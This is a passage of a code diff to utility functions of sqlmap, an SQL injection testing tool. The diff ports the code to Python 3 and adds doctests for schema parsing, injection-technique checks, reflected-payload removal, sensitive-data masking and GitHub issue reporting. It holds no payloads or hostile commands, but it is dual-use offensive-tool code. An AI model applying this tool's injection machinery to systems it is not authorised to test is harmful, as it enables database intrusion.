distutils.version.LooseVersion(getUnicode(value)) >= distutils.version.LooseVersion(getUnicode(version)) + retVal = version >= minimum return retVal def parseSqliteTableSchema(value): """ Parses table column names and types from specified SQLite table schema + + >>> kb.data.cachedColumns = {} + >>> parseSqliteTableSchema("CREATE TABLE users(\\n\\t\\tid INTEGER,\\n\\t\\tname TEXT\\n);") + True + >>> tuple(kb.data.cachedColumns[conf.db][conf.tbl].items()) == (('id', 'INTEGER'), ('name', 'TEXT')) + True + >>> parseSqliteTableSchema("CREATE TABLE dummy(`foo bar` BIGINT, \\"foo\\" VARCHAR, 'bar' TEXT)"); + True + >>> tuple(kb.data.cachedColumns[conf.db][conf.tbl].items()) == (('foo bar', 'BIGINT'), ('foo', 'VARCHAR'), ('bar', 'TEXT')) + True + >>> parseSqliteTableSchema("CREATE TABLE suppliers(\\n\\tsupplier_id INTEGER PRIMARY KEY DESC,\\n\\tname TEXT NOT NULL\\n);"); + True + >>> tuple(kb.data.cachedColumns[conf.db][conf.tbl].items()) == (('supplier_id', 'INTEGER'), ('name', 'TEXT')) + True + >>> parseSqliteTableSchema("CREATE TABLE country_languages (\\n\\tcountry_id INTEGER NOT NULL,\\n\\tlanguage_id INTEGER NOT NULL,\\n\\tPRIMARY KEY (country_id, language_id),\\n\\tFOREIGN KEY (country_id) REFERENCES countries (country_id) ON DELETE CASCADE ON UPDATE NO ACTION,\\tFOREIGN KEY (language_id) REFERENCES languages (language_id) ON DELETE CASCADE ON UPDATE NO ACTION);"); + True + >>> tuple(kb.data.cachedColumns[conf.db][conf.tbl].items()) == (('country_id', 'INTEGER'), ('language_id', 'INTEGER')) + True """ + retVal = False + + value = extractRegexResult(r"(?s)\((?P.+)\)", value) + if value: table = {} - columns = {} + columns = OrderedDict() + + value = re.sub(r"\(.+?\)", "", value).strip() - for match in re.finditer(r"(\w+)[\"'`]?\s+(INT|INTEGER|TINYINT|SMALLINT|MEDIUMINT|BIGINT|UNSIGNED BIG INT|INT2|INT8|INTEGER|CHARACTER|VARCHAR|VARYING CHARACTER|NCHAR|NATIVE CHARACTER|NVARCHAR|TEXT|CLOB|LONGTEXT|BLOB|NONE|REAL|DOUBLE|DOUBLE PRECISION|FLOAT|REAL|NUMERIC|DECIMAL|BOOLEAN|DATE|DATETIME|NUMERIC)\b", value, re.I): - columns[match.group(1)] = match.group(2) + for match in re.finditer(r"(?:\A|,)\s*(([\"'`]).+?\2|\w+)(?:\s+(INT|INTEGER|TINYINT|SMALLINT|MEDIUMINT|BIGINT|UNSIGNED BIG INT|INT2|INT8|INTEGER|CHARACTER|VARCHAR|VARYING CHARACTER|NCHAR|NATIVE CHARACTER|NVARCHAR|TEXT|CLOB|LONGTEXT|BLOB|NONE|REAL|DOUBLE|DOUBLE PRECISION|FLOAT|REAL|NUMERIC|DECIMAL|BOOLEAN|DATE|DATETIME|NUMERIC)\b)?", decodeStringEscape(value), re.I): + column = match.group(1).strip(match.group(2) or "") + if re.search(r"(?i)\A(CONSTRAINT|PRIMARY|UNIQUE|CHECK|FOREIGN)\b", column.strip()): + continue + retVal = True - table[conf.tbl] = columns - kb.data.cachedColumns[conf.db] = table + columns[column] = match.group(3) or "TEXT" + + table[safeSQLIdentificatorNaming(conf.tbl, True)] = columns + if conf.db in kb.data.cachedColumns: + kb.data.cachedColumns[conf.db].update(table) + else: + kb.data.cachedColumns[conf.db] = table + + return retVal def getTechniqueData(technique=None): """ Returns injection data for technique specified """ - return kb.injection.data.get(technique) + return kb.injection.data.get(technique if technique is not None else getTechnique()) def isTechniqueAvailable(technique): """ - Returns True if there is injection data which sqlmap could use for - technique specified + Returns True if there is injection data which sqlmap could use for technique specified + + >>> pushValue(kb.injection.data) + >>> kb.injection.data[PAYLOAD.TECHNIQUE.ERROR] = [test for test in getSortedInjectionTests() if "error" in test["title"].lower()][0] + >>> isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) + True + >>> kb.injection.data = popValue() """ - if conf.tech and isinstance(conf.tech, list) and technique not in conf.tech: + if conf.technique and isinstance(conf.technique, list) and technique not in conf.technique: return False else: return getTechniqueData(technique) is not None +def isHeavyQueryBased(technique=None): + """ + Returns True whether current (kb.)technique is heavy-query based + + >>> pushValue(kb.injection.data) + >>> setTechnique(PAYLOAD.TECHNIQUE.STACKED) + >>> kb.injection.data[getTechnique()] = [test for test in getSortedInjectionTests() if "heavy" in test["title"].lower()][0] + >>> isHeavyQueryBased() + True + >>> kb.injection.data = popValue() + """ + + retVal = False + + technique = technique or getTechnique() + + if isTechniqueAvailable(technique): + data = getTechniqueData(technique) + if data and "heavy query" in data["title"].lower(): + retVal = True + + return retVal + def isStackingAvailable(): """ Returns True whether techniques using stacking are available + + >>> pushValue(kb.injection.data) + >>> kb.injection.data[PAYLOAD.TECHNIQUE.STACKED] = [test for test in getSortedInjectionTests() if "stacked" in test["title"].lower()][0] + >>> isStackingAvailable() + True + >>> kb.injection.data = popValue() """ retVal = False @@ -3043,6 +3542,12 @@ def isStackingAvailable(): def isInferenceAvailable(): """ Returns True whether techniques using inference technique are available + + >>> pushValue(kb.injection.data) + >>> kb.injection.data[PAYLOAD.TECHNIQUE.BOOLEAN] = getSortedInjectionTests()[0] + >>> isInferenceAvailable() + True + >>> kb.injection.data = popValue() """ return any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.STACKED, PAYLOAD.TECHNIQUE.TIME)) @@ -3054,7 +3559,7 @@ def setOptimize(): # conf.predictOutput = True conf.keepAlive = True - conf.threads = 3 if conf.threads < 3 else conf.threads + conf.threads = 3 if conf.threads < 3 and cmdLineOptions.threads is None else conf.threads conf.nullConnection = not any((conf.data, conf.textOnly, conf.titles, conf.string, conf.notString, conf.regexp, conf.tor)) if not conf.nullConnection: @@ -3100,12 +3605,12 @@ def saveConfig(conf, filename): elif datatype == OPTION_TYPE.STRING: value = "" - if isinstance(value, basestring): + if isinstance(value, six.string_types): value = value.replace("\n", "\n ") config.set(family, option, value) - with openFile(filename, "wb") as f: + with openFile(filename, 'w') as f: try: config.write(f) except IOError as ex: @@ -3131,7 +3636,7 @@ def initTechnique(technique=None): for key, value in kb.injection.conf.items(): if value and (not hasattr(conf, key) or (hasattr(conf, key) and not getattr(conf, key))): setattr(conf, key, value) - debugMsg = "resuming configuration option '%s' (%s)" % (key, value) + debugMsg = "resuming configuration option '%s' (%s)" % (key, ("'%s'" % value) if isinstance(value, six.string_types) else value) logger.debug(debugMsg) if value and key == "optimize": @@ -3139,7 +3644,7 @@ def initTechnique(technique=None): else: warnMsg = "there is no injection data available for technique " warnMsg += "'%s'" % enumValueToNameLookup(PAYLOAD.TECHNIQUE, technique) - logger.warn(warnMsg) + logger.warning(warnMsg) except SqlmapDataException: errMsg = "missing data in old session file(s). " @@ -3151,11 +3656,13 @@ def arrayizeValue(value): """ Makes a list out of value if it is not already a list or tuple itself - >>> arrayizeValue(u'1') - [u'1'] + >>> arrayizeValue('1') + ['1'] """ - if not isListLike(value): + if isinstance(value, _collections.KeysView): + value = [_ for _ in value] + elif not isListLike(value): value = [value] return value @@ -3164,8 +3671,16 @@ def unArrayizeValue(value): """ Makes a value out of iterable if it is a list or tuple itself - >>> unArrayizeValue([u'1']) - u'1' + >>> unArrayizeValue(['1']) + '1' + >>> unArrayizeValue('1') + '1' + >>> unArrayizeValue(['1', '2']) + '1' + >>> unArrayizeValue([['a', 'b'], 'c']) + 'a' + >>> unArrayizeValue(_ for _ in xrange(10)) + 0 """ if isListLike(value): @@ -3174,8 +3689,10 @@ def unArrayizeValue(value): elif len(value) == 1 and not isListLike(value[0]): value = value[0] else: - _ = filter(lambda _: _ is not None, (_ for _ in flattenValue(value))) - value = _[0] if len(_) > 0 else None + value = [_ for _ in flattenValue(value) if _ is not None] + value = value[0] if len(value) > 0 else None + elif inspect.isgenerator(value): + value = unArrayizeValue([_ for _ in value]) return value @@ -3183,8 +3700,8 @@ def flattenValue(value): """ Returns an iterator representing flat representation of a given value - >>> [_ for _ in flattenValue([[u'1'], [[u'2'], u'3']])] - [u'1', u'2', u'3'] + >>> [_ for _ in flattenValue([['1'], [['2'], '3']])] + ['1', '2', '3'] """ for i in iter(value): @@ -3194,22 +3711,46 @@ def flattenValue(value): else: yield i +def joinValue(value, delimiter=','): + """ + Returns a value consisting of joined parts of a given value + + >>> joinValue(['1', '2']) + '1,2' + >>> joinValue('1') + '1' + >>> joinValue(['1', None]) + '1,None' + """ + + if isListLike(value): + retVal = delimiter.join(getText(_ if _ is not None else "None") for _ in value) + else: + retVal = value + + return retVal + def isListLike(value): """ Returns True if the given value is a list-like instance >>> isListLike([1, 2, 3]) True - >>> isListLike(u'2') + >>> isListLike('2') False """ - return isinstance(value, (list, tuple, set, BigArray)) + return isinstance(value, (list, tuple, set, OrderedSet, BigArray)) def getSortedInjectionTests(): """ - Returns prioritized test list by eventually detected DBMS from error - messages + Returns prioritized test list by eventually detected DBMS from error messages + + >>> pushValue(kb.forcedDbms) + >>> kb.forcedDbms = DBMS.SQLITE + >>> [test for test in getSortedInjectionTests() if hasattr(test, "details") and hasattr(test.details, "dbms")][0].details.dbms == kb.forcedDbms + True + >>> kb.forcedDbms = popValue() """ retVal = copy.deepcopy(conf.tests) @@ -3220,7 +3761,7 @@ def priorityFunction(test): if test.stype == PAYLOAD.TECHNIQUE.UNION: retVal = SORT_ORDER.LAST - elif "details" in test and "dbms" in test.details: + elif "details" in test and "dbms" in (test.details or {}): if intersect(test.details.dbms, Backend.getIdentifiedDbms()): retVal = SORT_ORDER.SECOND else: @@ -3235,15 +3776,14 @@ def priorityFunction(test): def filterListValue(value, regex): """ - Returns list with items that have parts satisfying given regular - expression + Returns list with items that have parts satisfying given regular expression >>> filterListValue(['users', 'admins', 'logs'], r'(users|admins)') ['users', 'admins'] """ if isinstance(value, list) and regex: - retVal = filter(lambda _: re.search(regex, _, re.I), value) + retVal = [_ for _ in value if re.search(regex, _, re.I)] else: retVal = value @@ -3256,34 +3796,50 @@ def showHttpErrorCodes(): if kb.httpErrorCodes: warnMsg = "HTTP error codes detected during run:\n" - warnMsg += ", ".join("%d (%s) - %d times" % (code, httplib.responses[code] if code in httplib.responses else '?', count) for code, count in kb.httpErrorCodes.items()) - logger.warn(warnMsg) - if any((str(_).startswith('4') or str(_).startswith('5')) and _ != httplib.INTERNAL_SERVER_ERROR and _ != kb.originalCode for _ in kb.httpErrorCodes.keys()): + warnMsg += ", ".join("%d (%s) - %d times" % (code, _http_client.responses[code] if code in _http_client.responses else '?', count) for code, count in kb.httpErrorCodes.items()) + logger.warning(warnMsg) + if any((str(_).startswith('4') or str(_).startswith('5')) and _ != _http_client.INTERNAL_SERVER_ERROR and _ != kb.originalCode for _ in kb.httpErrorCodes): msg = "too many 4xx and/or 5xx HTTP error codes " msg += "could mean that some kind of protection is involved (e.g. WAF)" logger.debug(msg) -def openFile(filename, mode='r', encoding=UNICODE_ENCODING, errors="replace", buffering=1): # "buffering=1" means line buffered (Reference: http://stackoverflow.com/a/3168436) +def openFile(filename, mode='r', encoding=UNICODE_ENCODING, errors="reversible", buffering=1): # "buffering=1" means line buffered (Reference: http://stackoverflow.com/a/3168436) """ Returns file handle of a given filename + + >>> "openFile" in openFile(__file__).read() + True + >>> b"openFile" in openFile(__file__, "rb", None).read() + True """ - try: - return codecs.open(filename, mode, encoding, errors, buffering) - except IOError: - errMsg = "there has been a file opening error for filename '%s'. " % filename - errMsg += "Please check %s permissions on a file " % ("write" if mode and ('w' in mode or 'a' in mode or '+' in mode) else "read") - errMsg += "and that it's not locked by another process." - raise SqlmapSystemException(errMsg) + # Reference: https://stackoverflow.com/a/37462452 + if 'b' in mode: + buffering = 0 + encoding = None + + if filename == STDIN_PIPE_DASH: + if filename not in kb.cache.content: + kb.cache.content[filename] = sys.stdin.read() + + return contextlib.closing(io.StringIO(readCachedFileContent(filename))) + else: + try: + return codecs_open(filename, mode, encoding, errors, buffering) + except IOError: + errMsg = "there has been a file opening error for filename '%s'. " % filename + errMsg += "Please check %s permissions on a file " % ("write" if mode and ('w' in mode or 'a' in mode or '+' in mode) else "read") + errMsg += "and that it's not locked by another process" + raise SqlmapSystemException(errMsg) def decodeIntToUnicode(value): """ Decodes inferenced integer value to an unicode character - >>> decodeIntToUnicode(35) - u'#' - >>> decodeIntToUnicode(64) - u'@' + >>> decodeIntToUnicode(35) == '#' + True + >>> decodeIntToUnicode(64) == '@' + True """ retVal = value @@ -3291,68 +3847,49 @@ def decodeIntToUnicode(value): try: if value > 255: _ = "%x" % value + if len(_) % 2 == 1: _ = "0%s" % _ - raw = hexdecode(_) + + raw = decodeHex(_) if Backend.isDbms(DBMS.MYSQL): + # Reference: https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_ord # Note: https://github.com/sqlmapproject/sqlmap/issues/1531 retVal = getUnicode(raw, conf.encoding or UNICODE_ENCODING) elif Backend.isDbms(DBMS.MSSQL): + # Reference: https://docs.microsoft.com/en-us/sql/relational-databases/collations/collation-and-unicode-support?view=sql-server-2017 and https://stackoverflow.com/a/14488478 retVal = getUnicode(raw, "UTF-16-BE") - elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE): - retVal = unichr(value) + elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE): # Note: cases with Unicode code points (e.g. http://www.postgresqltutorial.com/postgresql-ascii/) + retVal = _unichr(value) else: retVal = getUnicode(raw, conf.encoding) else: - retVal = getUnicode(chr(value)) + retVal = _unichr(value) except: retVal = INFERENCE_UNKNOWN_CHAR return retVal -def md5File(filename): +def getDaysFromLastUpdate(): """ - Calculates MD5 digest of a file - Reference: http://stackoverflow.com/a/3431838 - """ - - checkFile(filename) + Get total number of days from last update - digest = hashlib.md5() - with open(filename, "rb") as f: - for chunk in iter(lambda: f.read(4096), ""): - digest.update(chunk) - - return digest.hexdigest() - -def checkIntegrity(): - """ - Checks integrity of code files during the unhandled exceptions + >>> getDaysFromLastUpdate() >= 0 + True """ if not paths: return - logger.debug("running code integrity check") - - retVal = True - - if os.path.isfile(paths.CHECKSUM_MD5): - for checksum, _ in (re.split(r'\s+', _) for _ in getFileItems(paths.CHECKSUM_MD5)): - path = os.path.normpath(os.path.join(paths.SQLMAP_ROOT_PATH, _)) - if not os.path.isfile(path): - logger.error("missing file detected '%s'" % path) - retVal = False - elif md5File(path) != checksum: - logger.error("wrong checksum of file '%s' detected" % path) - retVal = False - - return retVal + return int(time.time() - os.path.getmtime(paths.SQLMAP_SETTINGS_PATH)) // (3600 * 24) def unhandledExceptionMessage(): """ Returns detailed message about occurred unhandled exception + + >>> all(_ in unhandledExceptionMessage() for _ in ("unhandled exception occurred", "Operating system", "Command line")) + True """ errMsg = "unhandled exception occurred in %s. It is recommended to retry your " % VERSION_STRING @@ -3365,8 +3902,8 @@ def unhandledExceptionMessage(): errMsg += "Running version: %s\n" % VERSION_STRING[VERSION_STRING.find('/') + 1:] errMsg += "Python version: %s\n" % PYVERSION errMsg += "Operating system: %s\n" % platform.platform() - errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap\.py\b", "sqlmap.py", getUnicode(" ".join(sys.argv), encoding=sys.stdin.encoding)) - errMsg += "Technique: %s\n" % (enumValueToNameLookup(PAYLOAD.TECHNIQUE, kb.technique) if kb.get("technique") else ("DIRECT" if conf.get("direct") else None)) + errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap\.py\b", "sqlmap.py", getUnicode(" ".join(sys.argv), encoding=getattr(sys.stdin, "encoding", None))) + errMsg += "Technique: %s\n" % (enumValueToNameLookup(PAYLOAD.TECHNIQUE, getTechnique()) if getTechnique() is not None else ("DIRECT" if conf.get("direct") else None)) errMsg += "Back-end DBMS:" if Backend.getDbms() is not None: @@ -3383,22 +3920,41 @@ def unhandledExceptionMessage(): def getLatestRevision(): """ Retrieves latest revision from the offical repository - - >>> from lib.core.settings import VERSION; getLatestRevision() == VERSION - True """ retVal = None - req = urllib2.Request(url="https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/lib/core/settings.py") + req = _urllib.request.Request(url="https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/lib/core/settings.py", headers={HTTP_HEADER.USER_AGENT: fetchRandomAgent()}) try: - content = urllib2.urlopen(req).read() + content = getUnicode(_urllib.request.urlopen(req).read()) retVal = extractRegexResult(r"VERSION\s*=\s*[\"'](?P[\d.]+)", content) except: pass return retVal +def fetchRandomAgent(): + """ + Returns random HTTP User-Agent header value + + >>> '(' in fetchRandomAgent() + True + """ + + if not kb.userAgents: + debugMsg = "loading random HTTP User-Agent header(s) from " + debugMsg += "file '%s'" % paths.USER_AGENTS + logger.debug(debugMsg) + + try: + kb.userAgents = getFileItems(paths.USER_AGENTS) + except IOError: + errMsg = "unable to read HTTP User-Agent header " + errMsg += "file '%s'" % paths.USER_AGENTS + raise SqlmapSystemException(errMsg) + + return random.sample(kb.userAgents, 1)[0] + def createGithubIssue(errMsg, excMsg): """ Automatically create a Github issue with unhandled exception information @@ -3415,7 +3971,10 @@ def createGithubIssue(errMsg, excMsg): _ = re.sub(r"\s+line \d+", "", _) _ = re.sub(r'File ".+?/(\w+\.py)', r"\g<1>", _) _ = re.sub(r".+\Z", "", _) - key = hashlib.md5(_).hexdigest()[:8] + _ = re.sub(r"(Unicode[^:]*Error:).+", r"\g<1>", _) + _ = re.sub(r"= _", "= ", _) + + key = hashlib.md5(getBytes(_)).hexdigest()[:8] if key in issues: return @@ -3429,13 +3988,13 @@ def createGithubIssue(errMsg, excMsg): choice = None if choice: - ex = None + _excMsg = None errMsg = errMsg[errMsg.find("\n"):] - req = urllib2.Request(url="https://api.github.com/search/issues?q=%s" % urllib.quote("repo:sqlmapproject/sqlmap Unhandled exception (#%s)" % key)) + req = _urllib.request.Request(url="https://api.github.com/search/issues?q=%s" % _urllib.parse.quote("repo:sqlmapproject/sqlmap Unhandled exception (#%s)" % key), headers={HTTP_HEADER.USER_AGENT: fetchRandomAgent()}) try: - content = urllib2.urlopen(req).read() + content = _urllib.request.urlopen(req).read() _ = json.loads(content) duplicate = _["total_count"] > 0 closed = duplicate and _["items"][0]["state"] == "closed" @@ -3444,18 +4003,20 @@ def createGithubIssue(errMsg, excMsg): if closed: warnMsg += " and resolved. Please update to the latest " warnMsg += "development version from official GitHub repository at '%s'" % GIT_PAGE - logger.warn(warnMsg) + logger.warning(warnMsg) return except: pass data = {"title": "Unhandled exception (#%s)" % key, "body": "```%s\n```\n```\n%s```" % (errMsg, excMsg)} - req = urllib2.Request(url="https://api.github.com/repos/sqlmapproject/sqlmap/issues", data=json.dumps(data), headers={"Authorization": "token %s" % GITHUB_REPORT_OAUTH_TOKEN.decode("base64")}) + token = getText(zlib.decompress(decodeBase64(GITHUB_REPORT_OAUTH_TOKEN[::-1], binary=True))[0::2][::-1]) + req = _urllib.request.Request(url="https://api.github.com/repos/sqlmapproject/sqlmap/issues", data=getBytes(json.dumps(data)), headers={HTTP_HEADER.AUTHORIZATION: "token %s" % token, HTTP_HEADER.USER_AGENT: fetchRandomAgent()}) try: - content = urllib2.urlopen(req).read() + content = getText(_urllib.request.urlopen(req).read()) except Exception as ex: content = None + _excMsg = getSafeExString(ex) issueUrl = re.search(r"https://github.com/sqlmapproject/sqlmap/issues/\d+", content or "") if issueUrl: @@ -3463,40 +4024,46 @@ def createGithubIssue(errMsg, excMsg): logger.info(infoMsg) try: - with open(paths.GITHUB_HISTORY, "a+b") as f: + with openFile(paths.GITHUB_HISTORY, "a+") as f: f.write("%s\n" % key) except: pass else: warnMsg = "something went wrong while creating a Github issue" - if ex: - warnMsg += " ('%s')" % getSafeExString(ex) + if _excMsg: + warnMsg += " ('%s')" % _excMsg if "Unauthorized" in warnMsg: warnMsg += ". Please update to the latest revision" - logger.warn(warnMsg) + logger.warning(warnMsg) def maskSensitiveData(msg): """ Masks sensitive data in the supplied message - >>> maskSensitiveData('python sqlmap.py -u "http://www.test.com/vuln.php?id=1" --banner') - u'python sqlmap.py -u *********************************** --banner' + >>> maskSensitiveData('python sqlmap.py -u "http://www.test.com/vuln.php?id=1" --banner') == 'python sqlmap.py -u *********************************** --banner' + True + >>> maskSensitiveData('sqlmap.py -u test.com/index.go?id=index --auth-type=basic --auth-creds=foo:bar\\ndummy line') == 'sqlmap.py -u ************************** --auth-type=***** --auth-creds=*******\\ndummy line' + True """ retVal = getUnicode(msg) - for item in filter(None, (conf.get(_) for _ in SENSITIVE_OPTIONS)): + for item in filterNone(conf.get(_) for _ in SENSITIVE_OPTIONS): + if isListLike(item): + item = listToStrValue(item) + regex = SENSITIVE_DATA_REGEX % re.sub(r"(\W)", r"\\\1", getUnicode(item)) while extractRegexResult(regex, retVal): value = extractRegexResult(regex, retVal) retVal = retVal.replace(value, '*' * len(value)) # Just in case (for problematic parameters regarding user encoding) - for match in re.finditer(r"(?i)[ -]-(u|url|data|cookie)( |=)(.*?)(?= -?-[a-z]|\Z)", retVal): + for match in re.finditer(r"(?im)[ -]-(u|url|data|cookie|auth-\w+|proxy|host|referer|headers?|H)( |=)(.*?)(?= -?-[a-z]|$)", retVal): retVal = retVal.replace(match.group(3), '*' * len(match.group(3))) - # Fail-safe substitution + # Fail-safe substitutions retVal = re.sub(r"(?i)(Command line:.+)\b(https?://[^ ]+)", lambda match: "%s%s" % (match.group(1), '*' * len(match.group(2))), retVal) + retVal = re.sub(r"(?i)(\b\w:[\\/]+Users[\\/]+|[\\/]+home[\\/]+)([^\\/]+)", lambda match: "%s%s" % (match.group(1), '*' * len(match.group(2))), retVal) if getpass.getuser(): retVal = re.sub(r"(?i)\b%s\b" % re.escape(getpass.getuser()), '*' * len(getpass.getuser()), retVal) @@ -3536,8 +4103,8 @@ def intersect(containerA, containerB, lowerCase=False): containerB = arrayizeValue(containerB) if lowerCase: - containerA = [val.lower() if isinstance(val, basestring) else val for val in containerA] - containerB = [val.lower() if isinstance(val, basestring) else val for val in containerB] + containerA = [val.lower() if hasattr(val, "lower") else val for val in containerA] + containerB = [val.lower() if hasattr(val, "lower") else val for val in containerB] retVal = [val for val in containerA if val in containerB] @@ -3551,21 +4118,23 @@ def decodeStringEscape(value): retVal = value if value and '\\' in value: - if isinstance(value, unicode): - retVal = retVal.encode(UNICODE_ENCODING) + charset = "\\%s" % string.whitespace.replace(" ", "") + for _ in charset: + retVal = retVal.replace(repr(_).strip("'"), _) - try: - retVal = codecs.escape_decode(retVal)[0] - except: - try: - retVal = retVal.decode("string_escape") - except: - charset = string.whitespace.replace(" ", "") - for _ in charset: - retVal = retVal.replace(repr(_).strip("'"), _) + return retVal + +def encodeStringEscape(value): + """ + Encodes escaped string values (e.g. "\t" -> "\\t") + """ + + retVal = value - if isinstance(value, unicode): - retVal = getUnicode(retVal) + if value: + charset = "\\%s" % string.whitespace.replace(" ", "") + for _ in charset: + retVal = retVal.replace(_, repr(_).strip("'")) return retVal @@ -3578,24 +4147,32 @@ def removeReflectiveValues(content, payload, suppressWarning=False): retVal = content try: - if all((content, payload)) and isinstance(content, unicode) and kb.reflectiveMechanism and not kb.heuristicMode: + if all((content, payload)) and isinstance(content, six.text_type) and kb.reflectiveMechanism and not kb.heuristicMode: def _(value): while 2 * REFLECTED_REPLACEMENT_REGEX in value: value = value.replace(2 * REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX) return value payload = getUnicode(urldecode(payload.replace(PAYLOAD_DELIMITER, ""), convall=True)) - regex = _(filterStringValue(payload, r"[A-Za-z0-9]", REFLECTED_REPLACEMENT_REGEX.encode("string_escape"))) + regex = _(filterStringValue(payload, r"[A-Za-z0-9]", encodeStringEscape(REFLECTED_REPLACEMENT_REGEX))) + + # NOTE: special case when part of the result shares the same output as the payload (e.g. ?id=1... and "sqlmap/1.0-dev (http://sqlmap.org)") + preserve = extractRegexResult(r"%s(?P.+?)%s" % (kb.chars.start, kb.chars.stop), content) + if preserve: + content = content.replace(preserve, REPLACEMENT_MARKER) if regex != payload: - if all(part.lower() in content.lower() for part in filter(None, regex.split(REFLECTED_REPLACEMENT_REGEX))[1:]): # fast optimization check + if all(part.lower() in content.lower() for part in filterNone(regex.split(REFLECTED_REPLACEMENT_REGEX))[1:]): # fast optimization check parts = regex.split(REFLECTED_REPLACEMENT_REGEX) - retVal = content.replace(payload, REFLECTED_VALUE_MARKER) # dummy approach + + # Note: naive approach + retVal = content.replace(payload, REFLECTED_VALUE_MARKER) + retVal = retVal.replace(re.sub(r"\A\w+", "", payload), REFLECTED_VALUE_MARKER) if len(parts) > REFLECTED_MAX_REGEX_PARTS: # preventing CPU hogs regex = _("%s%s%s" % (REFLECTED_REPLACEMENT_REGEX.join(parts[:REFLECTED_MAX_REGEX_PARTS // 2]), REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX.join(parts[-REFLECTED_MAX_REGEX_PARTS // 2:]))) - parts = filter(None, regex.split(REFLECTED_REPLACEMENT_REGEX)) + parts = filterNone(regex.split(REFLECTED_REPLACEMENT_REGEX)) if regex.startswith(REFLECTED_REPLACEMENT_REGEX): regex = r"%s%s" % (REFLECTED_BORDER_REGEX, regex[len(REFLECTED_REPLACEMENT_REGEX):]) @@ -3626,7 +4203,7 @@ def _thread(regex): thread.start() thread.join(REFLECTED_REPLACEMENT_TIMEOUT) - if thread.isAlive(): + if thread.is_alive(): kb.reflectiveMechanism = False retVal = content if not suppressWarning: @@ -3653,78 +4230,114 @@ def _thread(regex): if not suppressWarning: debugMsg = "turning off reflection removal mechanism (for optimization purposes)" logger.debug(debugMsg) - except MemoryError: + + if preserve and retVal: + retVal = retVal.replace(REPLACEMENT_MARKER, preserve) + + except (MemoryError, SystemError): kb.reflectiveMechanism = False if not suppressWarning: - debugMsg = "turning off reflection removal mechanism (because of low memory issues)" + debugMsg = "turning off reflection removal mechanism" logger.debug(debugMsg) return retVal -def normalizeUnicode(value): +def normalizeUnicode(value, charset=string.printable[:string.printable.find(' ') + 1]): """ Does an ASCII normalization of unicode strings - Reference: http://www.peterbe.com/plog/unicode-to-ascii - >>> normalizeUnicode(u'\u0161u\u0107uraj') - 'sucuraj' + # Reference: http://www.peterbe.com/plog/unicode-to-ascii + + >>> normalizeUnicode(u'\\u0161u\\u0107uraj') == u'sucuraj' + True + >>> normalizeUnicode(getUnicode(decodeHex("666f6f00626172"))) == u'foobar' + True """ - return unicodedata.normalize("NFKD", value).encode("ascii", "ignore") if isinstance(value, unicode) else value + retVal = value + + if isinstance(value, six.text_type): + retVal = unicodedata.normalize("NFKD", value) + retVal = "".join(_ for _ in retVal if _ in charset) + + return retVal def safeSQLIdentificatorNaming(name, isTable=False): """ Returns a safe representation of SQL identificator name (internal data format) - Reference: http://stackoverflow.com/questions/954884/what-special-characters-are-allowed-in-t-sql-column-retVal + + # Reference: http://stackoverflow.com/questions/954884/what-special-characters-are-allowed-in-t-sql-column-retVal + + >>> pushValue(kb.forcedDbms) + >>> kb.forcedDbms = DBMS.MSSQL + >>> getText(safeSQLIdentificatorNaming("begin")) + '[begin]' + >>> getText(safeSQLIdentificatorNaming("foobar")) + 'foobar' + >>> kb.forceDbms = popValue() """ retVal = name - if isinstance(name, basestring): + if conf.unsafeNaming: + return retVal + + if isinstance(name, six.string_types): retVal = getUnicode(name) _ = isTable and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) if _: retVal = re.sub(r"(?i)\A\[?%s\]?\." % DEFAULT_MSSQL_SCHEMA, "%s." % DEFAULT_MSSQL_SCHEMA, retVal) - if retVal.upper() in kb.keywords or (retVal or " ")[0].isdigit() or not re.match(r"\A[A-Za-z0-9_@%s\$]+\Z" % ('.' if _ else ""), retVal): # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal) - retVal = unsafeSQLIdentificatorNaming(retVal) - - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS): - retVal = "`%s`" % retVal - elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.SQLITE, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX): - retVal = "\"%s\"" % retVal - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,): - retVal = "\"%s\"" % retVal.upper() - elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): - if isTable: - parts = retVal.split('.', 1) - for i in xrange(len(parts)): - if parts[i] and (re.search(r"\A\d|[^\w]", parts[i], re.U) or parts[i].upper() in kb.keywords): - parts[i] = "[%s]" % parts[i] - retVal = '.'.join(parts) - else: - if re.search(r"\A\d|[^\w]", retVal, re.U) or retVal.upper() in kb.keywords: - retVal = "[%s]" % retVal + # Note: SQL 92 has restrictions for identifiers starting with underscore (e.g. http://www.frontbase.com/documentation/FBUsers_4.pdf) + if retVal.upper() in kb.keywords or (not isTable and (retVal or " ")[0] == '_') or (retVal or " ")[0].isdigit() or not re.match(r"\A[A-Za-z0-9_@%s\$]+\Z" % ('.' if _ else ""), retVal): # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal) + if not conf.noEscape: + retVal = unsafeSQLIdentificatorNaming(retVal) + + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users) + retVal = "`%s`" % retVal + elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, 